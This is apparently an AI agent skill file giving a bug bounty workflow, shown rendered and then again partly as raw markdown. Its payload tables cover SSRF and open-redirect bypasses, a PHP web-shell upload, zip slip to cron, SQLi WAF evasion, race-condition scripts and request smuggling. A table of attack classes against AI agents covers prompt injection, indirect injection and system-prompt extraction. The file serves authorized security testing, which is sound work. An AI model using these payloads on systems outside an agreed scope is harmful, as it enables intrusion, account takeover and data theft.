Bug Bounty Master Workflow
Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.
THE ONLY QUESTION THAT MATTERS
"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"
If the answer is NO -- STOP. Do not write. Do not explore further. Move on.
Theoretical Bug = Wasted Time. Kill These Immediately:
| Pattern |
Kill Reason |
| "Could theoretically allow..." |
Not exploitable = not a bug |
| "An attacker with X, Y, Z conditions could..." |
Too many preconditions |
| "Wrong implementation but no practical impact" |
Wrong but harmless = not a bug |
| Dead code with a bug in it |
Not reachable = not a bug |
| Source maps without secrets |
No impact |
| SSRF with DNS-only callback |
Need data exfil or internal access |
| Open redirect alone |
Need ATO or OAuth chain |
| "Could be used in a chain if..." |
Build the chain first, THEN report |
You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.
CRITICAL RULES
- READ FULL SCOPE FIRST -- verify every asset/domain is owned by the target org
- NO THEORETICAL BUGS -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
- KILL WEAK FINDINGS FAST -- run the 7-Question Gate BEFORE writing any report
- Validate before writing -- check CHANGELOG, design docs, deployment scripts FIRST
- One bug class at a time -- go deep, don't spray
- Verify data isn't already public -- check web UI in incognito before reporting API "leaks"
- 5-MINUTE RULE -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
- IMPACT-FIRST HUNTING -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
- CREDENTIAL LEAKS need exploitation proof -- finding keys isn't enough, must PROVE what they access
- STOP SHALLOW RECON SPIRALS -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
- BUSINESS IMPACT over vuln class -- severity depends on CONTEXT, not just vuln type
- UNDERSTAND THE TARGET DEEPLY -- before hunting, learn the app like a real user
- DON'T OVER-RELY ON AUTOMATION -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
- HUNT LESS-SATURATED VULN CLASSES -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
- ONE-HOUR RULE -- stuck on one target for an hour with no progress? SWITCH CONTEXT
- TWO-EYE APPROACH -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
- T-SHAPED KNOWLEDGE -- go DEEP in one area and BROAD across everything else
For the full hunting methodology — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see skills/bb-methodology/SKILL.md.
A->B BUG SIGNAL METHOD (Cluster Hunting)
When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.
Known A->B->C Chains
| Bug A (Signal) |
Hunt for Bug B |
Escalate to C |
| IDOR (read) |
PUT/DELETE on same endpoint |
Full account data manipulation |
| SSRF (any) |
Cloud metadata 169.254.169.254 |
IAM credential exfil -> RCE |
| XSS (stored) |
Check if HttpOnly is set on session cookie |
Session hijack -> ATO |
| Open redirect |
OAuth redirect_uri accepts your domain |
Auth code theft -> ATO |
| S3 bucket listing |
Enumerate JS bundles |
Grep for OAuth client_secret -> OAuth chain |
| Rate limit bypass |
OTP brute force |
Account takeover |
| GraphQL introspection |
Missing field-level auth |
Mass PII exfil |
| Debug endpoint |
Leaked environment variables |
Cloud credential -> infrastructure access |
| CORS reflects origin |
Test with credentials: include |
Credentialed data theft |
| Host header injection |
Password reset poisoning |
ATO via reset link |
Cluster Hunt Protocol (6 Steps)
1. CONFIRM A Verify bug A is real with an HTTP request
2. MAP SIBLINGS Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN If sibling has different bug class, try combining A + B
5. QUANTIFY "Affects N users" / "exposes $X value" / "N records"
6. REPORT One report per chain (not per bug). Chains pay more.
Real Examples
Coinbase S3->Bundle->Secret->OAuth chain:
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain
Vienna Chatbot chain:
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact
TOP 1% HACKER MINDSET
How Elite Hackers Think Differently
Average hunter: Runs tools, checks checklist, gives up after 30 min.
Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"
Pre-Hunt Mental Framework
Step 1: Crown Jewel Thinking
Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"
- Financial app -> drain funds, transfer to attacker account
- Healthcare -> PII leak, HIPAA violation
- SaaS -> tenant data crossing, admin takeover
- Auth provider -> full SSO chain compromise
Step 2: Developer Empathy
Think like the developer who built the feature:
- What was the simplest implementation?
- What shortcut would a tired dev take at 2am?
- Where is auth checked -- controller? middleware? DB layer?
- What happens when you call endpoint B without going through endpoint A first?
Step 3: Trust Boundary Mapping
Client -> CDN -> Load Balancer -> App Server -> Database
^ ^ ^
Where does app STOP trusting input?
Where does it ASSUME input is already validated?
Step 4: Feature Interaction Thinking
- Does this new feature reuse old auth, or does it have its own?
- Does the mobile API share auth logic with the web app?
- Was this feature built by the same team or a third-party?
The Top 1% Mental Checklist
Mindset Rules from Top Hunters
"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.
"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.
"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.
"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.
"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.
"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.
"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.
TOOLS
Go Binaries
| Tool |
Use |
| subfinder |
Passive subdomain enum |
| httpx |
Probe live hosts |
| dnsx |
DNS resolution |
| nuclei |
Template scanner |
| katana |
Crawl |
| waybackurls |
Archive URLs |
| gau |
Known URLs |
| dalfox |
XSS scanner |
| ffuf |
Fuzzer |
| anew |
Dedup append |
| qsreplace |
Replace param values |
| assetfinder |
Subdomain enum |
| gf |
Grep patterns (xss, sqli, ssrf, redirect) |
| interactsh-client |
OOB callbacks |
Tools to Install When Needed
| Tool |
Use |
Install |
| arjun |
Hidden parameter discovery |
pip3 install arjun |
| paramspider |
URL parameter mining |
pip3 install paramspider |
| kiterunner |
API endpoint brute |
go install github.com/assetnote/kiterunner/cmd/kr@latest |
| cloudenum |
Cloud asset enumeration |
pip3 install cloud_enum |
| trufflehog |
Secret scanning |
brew install trufflehog |
| gitleaks |
Secret scanning |
brew install gitleaks |
| XSStrike |
Advanced XSS scanner |
pip3 install xsstrike |
| SecretFinder |
JS secret extraction |
pip3 install secretfinder |
| sqlmap |
SQL injection |
pip3 install sqlmap |
| subzy |
Subdomain takeover |
go install github.com/LukaSikic/subzy@latest |
Static Analysis (Semgrep Quick Audit)
# Install: pip3 install semgrep
# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./
# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./
# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./
# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
FFUF Advanced Techniques
# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac
# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac
# Filter strategies:
# -fc 404,403 Filter status codes
# -fs 1234 Filter by response size
# -fw 50 Filter by word count
# -fr "not found" Filter regex in response body
# -rate 5 -t 10 Rate limit + fewer threads for stealth
# -e .php,.bak,.old Add extensions
# -o results.json Save output
AI-Assisted Tools
- strix (usestrix.com) -- open-source AI scanner for automated initial sweep
PHASE 1: RECON
Standard Recon Pipeline
# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt
# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt
# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file
# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3
Cloud Asset Enumeration
# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
[ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done
API Endpoint Discovery
# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
HackerOne Scope Retrieval
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
| jq '.data.team.policy_scopes.edges[].node'
Quick Wins Checklist
Technology Fingerprinting
| Signal |
Technology |
Cookie: XSRF-TOKEN + *_session |
Laravel |
Cookie: PHPSESSID |
PHP |
Header: X-Powered-By: Express |
Node.js/Express |
Response: wp-json/wp-content |
WordPress |
Response: {"errors":[{"message": |
GraphQL |
Header: X-Powered-By: Next.js |
Next.js |
Framework Quick Wins
Laravel: /horizon, /telescope, /.env, /storage/logs/laravel.log
WordPress: /wp-json/wp/v2/users, /xmlrpc.php, /?author=1
Node.js: /.env, /graphql (introspection), /_debug
AWS Cognito: /oauth2/userInfo (leaks Pool ID), CORS reflects arbitrary origins
Source Code Recon
# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20
# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"
# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."
# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"
Language-Specific Grep Patterns
# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules
# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"
# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"
# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"
# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"
# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"
PHASE 2: LEARN (Pre-Hunt Intelligence)
Read Disclosed Reports
# By program on HackerOne
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
| jq '.data.hacktivity_items.nodes[].report'
"What Changed" Method
- Find disclosed report for similar tech
- Get the fix commit
- Read the diff -- identify the anti-pattern
- Grep your target for that same anti-pattern
Threat Model Template
TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
[ ] Unauthenticated: login, register, password reset, public APIs
[ ] Authenticated: all user-facing endpoints, file uploads, API calls
[ ] Cross-tenant: org/team/workspace ID parameters
[ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
1.___ 2.___ 3.___
6 Key Patterns from Top Reports
- Feature Complexity = Bug Surface -- imports, integrations, multi-tenancy, multi-step workflows
- Developer Inconsistency = Strongest Evidence --
timingSafeEqual in one place, === elsewhere
- "Else Branch" Bug -- proxy/gateway passes raw token without validation in else path
- Import/Export = SSRF -- every "import from URL" feature has historically had SSRF
- Secondary/Legacy Endpoints = No Auth --
/api/v1/ guarded but /api/ isn't
- Race Windows in Financial Ops -- check-then-deduct as two DB operations = double-spend
PHASE 3: HUNT
Note-Taking System (Never Hunt Without This)
# TARGET: company.com -- SESSION 1
## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers
## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint
## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write
Subdomain Type -> Hunt Strategy
- dev/staging/test: Debug endpoints, disabled auth, verbose errors
- admin/internal: Default creds, IP bypass headers (
X-Forwarded-For: 127.0.0.1)
- api/api-v2: Enumerate with kiterunner, check older unprotected versions
- auth/sso: OAuth misconfigs, open redirect in
redirect_uri
- upload/cdn: CORS, path traversal, stored XSS
CVE-Seeded Audit Approach
- Build a CVE eval set -- collect 5-10 prior CVEs for the target codebase
- Reproduce old bugs -- verify you can find the pattern in older code
- Pattern-match forward -- search for the same anti-pattern in current code
- Focus on wide attack surfaces -- JS engines, parsers, anything processing untrusted external input
Rust/Blockchain Source Code (Hard-Won Lessons)
Panic paths: encoding vs decoding -- .unwrap() on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.
"Known TODO" is not a mitigation -- A comment like // Votes are not signed for now doesn't mean safe.
Pattern-based hunting from confirmed findings -- If verify_signed_vote is broken, check verify_signed_proposal and verify_commit_signature.
# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"
VULNERABILITY HUNTING CHECKLISTS
IDOR -- Insecure Direct Object Reference
#1 most paid web2 class -- 30% of all submissions that get paid.
IDOR Variants (10 Ways to Test)
| Variant |
What to Test |
| V1: Direct |
Change object ID in URL path /api/users/123 -> /api/users/456 |
| V2: Body param |
Change ID in POST/PUT JSON body {"user_id": 456} |
| V3: GraphQL node |
{ node(id: "base64(OtherType:123)") { ... } } |
| V4: Batch/bulk |
/api/users?ids=1,2,3,4,5 -- request multiple IDs at once |
| V5: Nested |
Change parent ID: /orgs/{org_id}/users/{user_id} |
| V6: File path |
/files/download?path=../other-user/file.pdf |
| V7: Predictable |
Sequential integers, timestamps, short UUIDs |
| V8: Method swap |
GET returns 403? Try PUT/PATCH/DELETE on same endpoint |
| V9: Version rollback |
v2 blocked? Try /api/v1/ same endpoint |
| V10: Header injection |
X-User-ID: victim_id, X-Org-ID: victim_org |
IDOR Testing Checklist
IDOR Chains (higher payout)
- IDOR + Read PII = Medium
- IDOR + Write (modify other's data) = High
- IDOR + Admin endpoint = Critical (privilege escalation)
- IDOR + Account takeover path = Critical
- IDOR + Chatbot (LLM reads other user's data) = High
SSRF -- Server-Side Request Forgery
SSRF IP Bypass Table (11 Techniques)
| Bypass |
Payload |
Notes |
| Decimal IP |
http://2130706433/ |
127.0.0.1 as single decimal |
| Hex IP |
http://0x7f000001/ |
Hex representation |
| Octal IP |
http://0177.0.0.1/ |
Octal 0177 = 127 |
| Short IP |
http://127.1/ |
Abbreviated notation |
| IPv6 |
http://[::1]/ |
Loopback in IPv6 |
| IPv6-mapped |
http://[::ffff:127.0.0.1]/ |
IPv4-mapped IPv6 |
| Redirect chain |
http://attacker.com/302->http://169.254.169.254 |
Check each hop |
| DNS rebinding |
Register domain resolving to 127.0.0.1 |
First check = external, fetch = internal |
| URL encoding |
http://127.0.0.1%2523@attacker.com |
Parser confusion |
| Enclosed alphanumeric |
http://①②⑦.⓪.⓪.① |
Unicode numerals |
| Protocol smuggling |
gopher://127.0.0.1:6379/_INFO |
Redis/other protocols |
SSRF Impact Chain
- DNS-only = Informational (don't submit)
- Internal service accessible = Medium
- Cloud metadata readable = High (key exposure)
- Cloud metadata + exfil keys = Critical (code execution on cloud)
- Docker API accessible = Critical (direct RCE)
OAuth / OIDC
Open Redirect Bypass Table (11 Techniques)
Use these when chaining open redirect into OAuth code theft:
| Bypass |
Payload |
Notes |
| Double URL encoding |
%252F%252F |
Decodes to // after double decode |
| Backslash |
https://target.com\@evil.com |
Some parsers normalize \ to / |
| Missing protocol |
//evil.com |
Protocol-relative |
| @-trick |
https://target.com@evil.com |
target.com becomes username |
| Protocol-relative |
///evil.com |
Triple slash |
| Tab/newline injection |
//evil%09.com |
Whitespace in hostname |
| Fragment trick |
https://evil.com#target.com |
Fragment misleads validation |
| Null byte |
https://evil.com%00target.com |
Some parsers truncate at null |
| Parameter pollution |
?next=target.com&next=evil.com |
Last value wins |
| Path confusion |
/redirect/..%2F..%2Fevil.com |
Path traversal in redirect |
| Unicode normalization |
https://evil.com/target.com |
Visual confusion |
File Upload
File Upload Bypass Table
| Bypass |
Technique |
| Double extension |
file.php.jpg, file.php%00.jpg |
| Case variation |
file.pHp, file.PHP5 |
| Alternative extensions |
.phtml, .phar, .shtml, .inc |
| Content-Type spoof |
image/jpeg header with PHP content |
| Magic bytes |
GIF89a; <?php system($_GET['c']); ?> |
| .htaccess upload |
AddType application/x-httpd-php .jpg |
| SVG XSS |
<svg> |
| Race condition |
Upload + execute before cleanup runs |
| Polyglot JPEG/PHP |
Valid JPEG that is also valid PHP |
| Zip slip |
../../etc/cron.d/shell in filename inside archive |
Magic Bytes Reference
| Type |
Hex |
| JPEG |
FF D8 FF |
| PNG |
89 50 4E 47 0D 0A 1A 0A |
| GIF |
47 49 46 38 |
| PDF |
25 50 44 46 |
| ZIP/DOCX/XLSX |
50 4B 03 04 |
Race Conditions
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
-H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait
Turbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False,
engine=Engine.BURP2)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # all 20 fire in a single TCP packet
def handleResponse(req, interesting):
table.add(req)
Business Logic
XSS -- Cross-Site Scripting
XSS Sinks (grep for these)
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
setInterval(userInput, ...)
new Function(userInput)
// MEDIUM RISK (context-dependent)
element.src = userInput // JavaScript URI possible
element.href = userInput
location.href = userInput
XSS Chains (escalate from Medium to High/Critical)
- XSS + sensitive page (banking, admin) = High
- XSS + CSRF token theft = CSRF bypass -> Critical action
- XSS + service worker = persistent XSS across pages
- XSS + credential theft via fake login form = ATO
- XSS in chatbot response = stored XSS chain
SQL Injection
Detection
# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
# Error-based detection
'; SELECT 1/0-- # divide by zero error reveals SQLi
Modern SQLi WAF Bypass
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1
GraphQL
Introspection (alone = Informational, but reveals attack surface)
{ __schema { types { name fields { name type { name } } } } }
Missing Field-Level Auth
# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
Batching Attack (Rate Limit Bypass)
[
{"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
{"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
"...100 more..."
]
LLM / AI Features
Agentic AI Hunting (OWASP ASI01-ASI10)
When target has AI agents with tool access, these are the 10 attack classes:
| ID |
Vuln Class |
What to Test |
| ASI01 |
Prompt injection |
Override system prompt via user input -- make agent ignore its rules |
| ASI02 |
Tool misuse |
Make AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool) |
| ASI03 |
Data exfil |
Extract training data / PII via crafted prompts that leak context |
| ASI04 |
Privilege escalation |
Use AI to access admin-only tools -- agent has broader perms than user |
| ASI05 |
Indirect injection |
Poison document/URL the AI processes -- hidden instructions in fetched content |
| ASI06 |
Excessive agency |
AI takes destructive actions without confirmation -- delete, send, pay |
| ASI07 |
Model DoS |
Craft inputs that cause infinite loops, excessive token usage, or OOM |
| ASI08 |
Insecure output |
AI generates XSS/SQLi/command injection in its output that gets rendered |
| ASI09 |
Supply chain |
Compromised plugins/tools/MCP servers the AI calls |
| ASI10 |
Sensitive disclosure |
AI reveals internal configs, API keys, system prompts, user data |
Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.
Cache Poisoning / Web Cache Deception
HTTP Request Smuggling
CL.TE Example
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.
Android / Mobile Hunting
CI/CD Pipeline — GitHub Actions Security
Tooling: Use sisakulint for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, 81.6% coverage of GitHub Security Advisories (31/38 GHSAs). Install: brew install sisakulint or download binary from releases.
Quick scan: sisakulint scan .github/workflows/ — flags Critical/High issues with auto-fix suggestions.
Remote scan: sisakulint scan --remote owner/repo — scan without cloning.
Recon: Finding Workflow Files
# Clone target's public repos, then:
find . -name "*.yml" -path "*/.github/workflows/*" | head -50
# Quick grep for dangerous patterns:
grep -rn "pull_request_target\|workflow_run" .github/workflows/
grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
grep -rn 'secrets\.\|secrets: inherit' .github/workflows/
# Run sisakulint on all workflows:
sisakulint scan .github/workflows/
Category 1: Code Injection & Expression Safety (CICD-SEC-04)
Root cause: Untrusted input (github.event.issue.title, github.event.pull_request.body, branch names, commit messages) interpolated into run: blocks via ${{ }} expressions.
Taint sources (attacker-controlled):
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref
Category 2: Pipeline Poisoning & Untrusted Checkout
Root cause: Privileged triggers (pull_request_target, workflow_run) checkout attacker's PR code, which then runs with repository secrets.
Category 3: Supply Chain & Dependency Security (CICD-SEC-08)
Category 4: Credential & Secret Protection
Category 5: Triggers & Access Control (CICD-SEC-01)
Category 6: AI Agent Security (NEW — 2025+)
Hunting Workflow
1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
a. Can I t
…(truncated)
1---
2name: bb-local-toolkit
3description: Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词:漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
4sources: community, operator_experience
5---
6
7# Bug Bounty Master Workflow
8
9Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.
10
11## THE ONLY QUESTION THAT MATTERS
12
13> **"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"**
14>
15> If the answer is NO -- **STOP. Do not write. Do not explore further. Move on.**
16
17### Theoretical Bug = Wasted Time. Kill These Immediately:
18
19| Pattern | Kill Reason |
20|---|---|
21| "Could theoretically allow..." | Not exploitable = not a bug |
22| "An attacker with X, Y, Z conditions could..." | Too many preconditions |
23| "Wrong implementation but no practical impact" | Wrong but harmless = not a bug |
24| Dead code with a bug in it | Not reachable = not a bug |
25| Source maps without secrets | No impact |
26| SSRF with DNS-only callback | Need data exfil or internal access |
27| Open redirect alone | Need ATO or OAuth chain |
28| "Could be used in a chain if..." | Build the chain first, THEN report |
29
30**You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.**
31
32---
33
34## CRITICAL RULES
35
361. **READ FULL SCOPE FIRST** -- verify every asset/domain is owned by the target org
372. **NO THEORETICAL BUGS** -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
383. **KILL WEAK FINDINGS FAST** -- run the 7-Question Gate BEFORE writing any report
394. **Validate before writing** -- check CHANGELOG, design docs, deployment scripts FIRST
405. **One bug class at a time** -- go deep, don't spray
416. **Verify data isn't already public** -- check web UI in incognito before reporting API "leaks"
427. **5-MINUTE RULE** -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
438. **IMPACT-FIRST HUNTING** -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
449. **CREDENTIAL LEAKS need exploitation proof** -- finding keys isn't enough, must PROVE what they access
4510. **STOP SHALLOW RECON SPIRALS** -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
4611. **BUSINESS IMPACT over vuln class** -- severity depends on CONTEXT, not just vuln type
4712. **UNDERSTAND THE TARGET DEEPLY** -- before hunting, learn the app like a real user
